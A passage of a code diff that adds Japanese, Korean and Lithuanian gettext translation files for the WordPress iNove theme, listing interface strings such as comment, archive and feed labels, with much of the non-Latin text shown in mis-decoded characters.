    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Google カスタムサーãƒã‚¨ãƒ³ã‚¸ãƒ³ã® サーãƒãƒœãƒƒã‚¯ã‚¹ ã‹ã‚‰ name=\"cx\" を探ã—ã¦ã€ã“ã“ã«å…¥åŠ›ã—ã¦ãã ã•ã„。例:014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "メニューãƒãƒ¼" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "ページをメニューã«è¡¨ç¤ºã™ã‚‹ã€‚" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "カテゴリをメニューã«è¡¨ç¤ºã™ã‚‹" + +#: functions.php:231 +msgid "Sidebar" +msgstr "サイドãƒãƒ¼" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "サイドãƒãƒ¼ã‚’ページã«è¡¨ç¤ºã•れãªã„。" + +#: functions.php:246 +msgid "Notice" +msgstr "通知ãƒãƒ¼" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML ã‚¿ã‚°ã¯æœ‰åйã§ã™" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "ã“ã®é€šçŸ¥ãƒãƒ¼ã¯æŠ•稿ã®å…ˆé ­ã«è¡¨ç¤ºã•れã¾ã™ã€‚" + +#: functions.php:270 +msgid "Banner" +msgstr "ãƒãƒŠãƒ¼" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "ヘッダå³å´ã«è¡¨ç¤ºã•れるãƒãƒŠãƒ¼ ( 高ã•: 60px )" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "ã ã‚ŒãŒè¦‹ã‚‹ã“ã¨ãŒã§ãã¾ã™ã‹?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "登録ã•れã¦ã„るユーザ" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "コメントã—ãŸäºº" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "ã™ã¹ã¦ã®è¨ªå•者" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "ショーケース" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "ã“ã®ã‚·ãƒ§ãƒ¼ã‚±ãƒ¼ã‚¹ã¯ã‚µã‚¤ãƒ‰ãƒãƒ¼ã®å…ˆé ­ã«è¡¨ç¤ºã•れã¾ã™ã€‚" + +#: functions.php:329 +msgid "Title:" +msgstr "タイトル:" + +#: functions.php:345 +msgid "Posts" +msgstr "投稿" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "æŠ•ç¨¿ã«æŠ•ç¨¿è€…ã‚’è¡¨ç¤ºã™ã‚‹ã€‚" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "投稿ã«ã‚«ãƒ†ã‚´ãƒªã‚’表示ã™ã‚‹ã€‚" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "投稿ã«ã‚¿ã‚°ã‚’表示ã™ã‚‹ã€‚" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "Ctrl+Enter ã§ã€ã‚³ãƒ¡ãƒ³ãƒˆã‚’投稿ã™ã‚‹ã€‚" + +#: functions.php:381 +msgid "Feed" +msgstr "フィード" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "マウスカーソルãŒãƒ•ィードボタン上ã«ç½®ã‹ã‚ŒãŸæ™‚ã€RSSリーダーã®ãƒªã‚¹ãƒˆã‚’表示ã™ã‚‹ã€‚" + +#: functions.php:390 +msgid "Custom feed." +msgstr "カスタムフィード" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "メールフィード" + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "Twitterボタンã¨è¿½åŠ ã™ã‚‹ã€‚" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "Twitter åå‰ï¼š" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "変更をä¿å­˜ã™ã‚‹" + +#: functions.php:567 +msgid "Reply" +msgstr "返信" + +#: functions.php:568 +msgid "Quote" +msgstr "引用" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "編集" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "ã‚ãªãŸã®ã‚³ãƒ¡ãƒ³ãƒˆã¯ç®¡ç†è€…ã®æ‰¿èªå¾…ã¡ã§ã™ã€‚" + +#: links.php:18 +msgid "Add link" +msgstr "リンクを追加" + +#: links.php:19 +msgid "Edit links" +msgstr "リンクを編集" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "ã“ã®ãƒ–ログã®ãƒ•ィードを購読ã™ã‚‹..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Subscribe with " + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "メールã§ã€ã“ã®ãƒ–ログを購読ã™ã‚‹..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "メールフィード" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã¸æˆ»ã‚‹" + +#: single.php:7 +msgid "Home" +msgstr "ホーム" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "検索..." + +#~ msgid "Blogroll" +#~ msgstr "ブログロール" +#~ msgid "Author: " +#~ msgstr "作æˆè€…: " + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/ko_KR.mo Binary file web/wp-content/themes/inove/languages/ko_KR.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/ko_KR.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/ko_KR.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,569 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:49+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS2.0 (모든 글)" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS2.0 (모든 댓글)" + +#: 404.php:22 +msgid "Talker" +msgstr "ë§í•˜ëŠ”ì´" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "404 ì—러 페ì´ì§€ìž…니다!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "맞춤 ì—러 페ì´ì§€ìž…니다. 존재하지 ì•Šì€ ë§í¬ë¥¼ í´ë¦­í•˜ì…¨ìŠµë‹ˆë‹¤. ì €í¬ì˜ 실수 ë•Œë¬¸ì¼ ê²ƒìž…ë‹ˆë‹¤. 하지만 별 ë„ì›€ì´ ì•ˆ ë˜ëŠ” '404 ì—러' 기본 페ì´ì§€ 대신 í˜„ìž¬ì˜ ì—러 페ì´ì§€ë¥¼ 보여드리고 ë¬´ì—‡ì´ ë¬¸ì œì¸ì§€ë¥¼ ì•Œê³ ìž í•©ë‹ˆë‹¤. " + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "브ë¼ìš°ì € ì°½ì—서 '뒤로 가기' ë²„íŠ¼ì„ ëˆŒëŸ¬ ì´ ì‚¬ì´íŠ¸ì˜ ë‹¤ë¥¸ 곳으로 ì´ë™í•´ 보십시오. 아니면 홈페ì´ì§€ë¡œ 가는 아래 ë§í¬ë¥¼ í´ë¦­í•˜ì„¸ìš”. " + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "홈페ì´ì§€ë¡œ ëŒì•„가기 »" + +#: archive.php:10 +msgid "Search Results" +msgstr "검색 ê²°ê³¼" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "열쇠ë§: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "글모ìŒ" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "‘%1$s’ ë²”ì£¼ì— ëŒ€í•œ 글모ìŒ" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "‘%1$s’ 꼬리ë§(tag)ì´ ë‹¬ë¦° 글들" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr " %1$s ì— ëŒ€í•œ 글모ìŒ" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "F jS, Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "글쓴ì´ì˜ 글모ìŒ" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "블로그 글모ìŒ" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "편집" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "ëŒ“ê¸€ì´ ì—†ìŠµë‹ˆë‹¤." + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "한 ê°œì˜ ëŒ“ê¸€" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% ê°œì˜ ëŒ“ê¸€" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "ë” ë³´ê¸°..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "죄송합니다, 찾으시는 ê²ƒì— ë§žëŠ” ê¸€ì´ ì—†ìŠµë‹ˆë‹¤." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "최근 것들" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "지난 것들" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "댓글 남기기" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "댓글로 바로가기" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "댓글 보기 위해 비밀번호 ìž…ë ¥" + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "댓글" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "ì—®ì¸ê¸€ë“¤(trackbacks)" + +#: comments.php:34 +msgid "Trackback" +msgstr "글엮기(trackback)" + +#: comments.php:58 +msgid "No comments yet." +msgstr "ì•„ì§ ëŒ“ê¸€ì´ ì—†ìŠµë‹ˆë‹¤." + +#: comments.php:72 +msgid "Comment pages" +msgstr "댓글 페ì´ì§€ë“¤" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr " %2$sì— %1$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "ì—®ì¸ê¸€ë“¤ì´ ì•„ì§ ì—†ìŠµë‹ˆë‹¤." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "댓글쓰기가 닫혔습니다." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "ëŒ“ê¸€ì„ ë‚¨ê¸°ì‹œë ¤ë©´ ë¡œê·¸ì¸ ë¨¼ì € 해주세요." + +#: comments.php:150 +msgid "Logged in as" +msgstr "로그ì¸í•˜ì‹  ì•„ì´ë””: " + +#: comments.php:151 +msgid "Log out of this account" +msgstr "ì´ ê³„ì • 로그아웃하기" + +#: comments.php:151 +msgid "Logout »" +msgstr "» 로그아웃" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "%s 님! 안녕하세요!" + +#: comments.php:158 +msgid "Change »" +msgstr "» 변경하기" + +#: comments.php:159 +msgid "Close »" +msgstr " » 닫기" + +#: comments.php:166 +msgid "Name" +msgstr "ì´ë¦„" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(필수사항)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "ì´ë©”ì¼ì£¼ì†Œ(표시안ë¨)" + +#: comments.php:174 +msgid "Website" +msgstr "웹사ì´íЏ" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "ì´í›„ ëŒ“ê¸€ì„ RSS로 받기" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "댓글 올리기" + +#: footer.php:17 +msgid "Top" +msgstr "맨 위로" + +#: footer.php:27 +msgid "Copyright © " +msgstr "저작권 ©" + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "NeoEaseê°€ 제작한 외모(theme) 사용 중. 웹표준 XHTML 1.1ê³¼ CSS 3.0 준수함." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "ì‚¬ìš©ì¤‘ì¸ í…Œë§ˆ 설정" + +#: functions.php:194 +msgid "Search" +msgstr "검색" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "êµ¬ê¸€ì˜ ë§žì¶¤ 검색엔진 사용하기" + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "구글 맞춤 ê²€ìƒ‰ì—”ì§„ì˜ ê²€ìƒ‰ì°½ 코드ì—서 name=\"cx\" 찾기, 그리고 ì—¬ê¸°ì— ê°’ì„ ìž…ë ¥í•˜ê¸°.
    예: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "메뉴막대" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "페ì´ì§€ë¥¼ 메뉴로 ë³´ì´ê¸°" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "범주를 메뉴로 ë³´ì´ê¸°" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "알림" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML 가능" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "홈페ì´ì§€ì˜ 글 ìƒë‹¨ì— í‘œì‹œë  ì•Œë¦¼ë§‰ëŒ€" + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "누가 ë³¼ 수 있나?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "등ë¡í•œ 사용ìž" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "댓글 ì“´ ì´" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "방문ìž" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "보여줄 것(showcase)" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "측면(sidebar)ì˜ ìƒë‹¨ì— í‘œì‹œë  ë³´ì—¬ì¤„ 것(showcase)" + +#: functions.php:329 +msgid "Title:" +msgstr "제목:" + +#: functions.php:345 +msgid "Posts" +msgstr "글들(posts)" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "ê° ê¸€ì— ê¸€ì“´ì´ ë³´ì´ê¸°" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "ê° ê¸€ì— ë²”ì£¼ ë³´ì´ê¸°" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "ê° ê¸€ì— ê¼¬ë¦¬ë§(tags) ë³´ì´ê¸°" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "rss피드" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "맞춤 피드" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "주소(url):" + +#: functions.php:396 +msgid "Email feed." +msgstr "ì´ë©”ì¼ í”¼ë“œ" + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "고친 것 저장하기" + +#: functions.php:567 +msgid "Reply" +msgstr "답글" + +#: functions.php:568 +msgid "Quote" +msgstr "ì¸ìš©" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "ìƒì„¸í•˜ê²Œ 편집하기" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "올려주신 ëŒ“ê¸€ì„ ìŠ¹ì¸ ìš”ì²­í•˜ì˜€ìŠµë‹ˆë‹¤. " + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "편집 ë§í¬" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "ì´ ì‚¬ì´íŠ¸ì˜ ìµœì‹  ë‚´ìš©ì„ RSS로 받아보기" + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "으로 받아보기" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "ìžì˜¤ 시앙(Zhua Xia)" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "ë‚˜ì˜ ì•¼í›„!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "뉴스게ì´í„°" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "블로그ë¼ì¸" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "ì•„ì´ë„¤ì§œ(iNezha)" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "ì´ ì‚¬ì´íŠ¸ì˜ ìµœì‹  ë‚´ìš©ì„ ì´ë©”ì¼ë¡œ 받아보기" + +#: sidebar.php:40 +msgid "Email feed" +msgstr "ì´ë©”ì¼ í”¼ë“œ" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "홈페ì´ì§€ë¡œ 가기" + +#: single.php:7 +msgid "Home" +msgstr "홈페ì´ì§€" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/lt_LT.mo Binary file web/wp-content/themes/inove/languages/lt_LT.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/lt_LT.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/lt_LT.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,574 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:49+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - visi įraÅ¡ai" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - visi komentarai" + +#: 404.php:22 +msgid "Talker" +msgstr "KalbÄ—tojas" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Sveiki užsukÄ™ į 404 klaidos puslapį!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Sveiki užsukÄ™ į šį individualizuotÄ… klaidos puslapį. JÅ«s Äia atsidÅ«rÄ—te, nes paspaudÄ—te ant nuorodos, kuri jau nebeegzistuoja. Tai tikriausiai mÅ«sų kaltÄ—... bet vietoje to, kad rodytume jums standartinÄ™ '404 klaidÄ…', kuri nieko nepaaiÅ¡kina, mes sukÅ«rÄ—me šį puslapį, kad praneÅ¡tume, kas atsitiko." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "NorÄ—dami grįžti į pradinį Å¡io tinklaraÅ¡Äio puslapį, paspauskite žemiau esantį mygtukÄ…." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Grįžti į pradinį puslapį »" + +#: archive.php:10 +msgid "Search Results" +msgstr "PaieÅ¡kos rezultatai" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Raktažodis: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Archyvas" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Kategorijos ‘%1$s’ archyvas" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Ä®raÅ¡ai, pažymÄ—ti ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "%1$s archyvas" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "Y.m.d" + +#: archive.php:28 +msgid "F, Y" +msgstr "Y.m" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Autoriaus archyvas" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "TinklaraÅ¡Äio archyvai" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Redaguoti" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Komentarų: 0" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "Komentarų: 1" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "Komentarų: %" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "Komentavimas iÅ¡jungtas" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Skaityti toliau" + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "Kategorijos: " + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "Žymos: " + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Deja, įrašų pagal nurodytÄ… kriterijų rasti nepavyko." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Naujesni įraÅ¡ai" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Senesni įraÅ¡ai" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Komentuoti" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Rodyti komentarus" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Ä®veskite savo slaptažodį, kad pamatytumÄ—te komentarus." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Komentarai" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Atsektys" + +#: comments.php:34 +msgid "Trackback" +msgstr "Atsektis" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Komentarų dar nÄ—ra." + +#: comments.php:72 +msgid "Comment pages" +msgstr "Komentarų puslapiai" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "G:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "AtsekÄių dar nÄ—ra." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Komentavimo galimybÄ— Å¡iame įraÅ¡e yra iÅ¡jungta." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "JÅ«s turite bÅ«ti prisijungÄ™, jei norite paraÅ¡yti komentarÄ…." + +#: comments.php:150 +msgid "Logged in as" +msgstr "PrisijungÄ™s kaip" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Atsijungti nuo Å¡ios paskyros" + +#: comments.php:151 +msgid "Logout »" +msgstr "Atsijungti »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Sveiki sugrįžę %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Keisti »" + +#: comments.php:159 +msgid "Close »" +msgstr "Uždaryti »" + +#: comments.php:166 +msgid "Name" +msgstr "Vardas" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(bÅ«tinas)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E. paÅ¡tas (neskelbiamas)" + +#: comments.php:174 +msgid "Website" +msgstr "Internetinis adresas (nebÅ«tinas)" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Užsisakyti visų komentarų RSS" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Ä®raÅ¡yti komentarÄ…" + +#: footer.php:17 +msgid "Top" +msgstr "Ä® viršų" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Autoriaus teisÄ—s © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Temos autorius: NeoEase   ValidÅ«s: XHTML 1.1 ir CSS 3" + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Temos parinktys" + +#: functions.php:194 +msgid "Search" +msgstr "PaieÅ¡ka" + +#: functions.php:198 +msgid "Using google custom search engine." 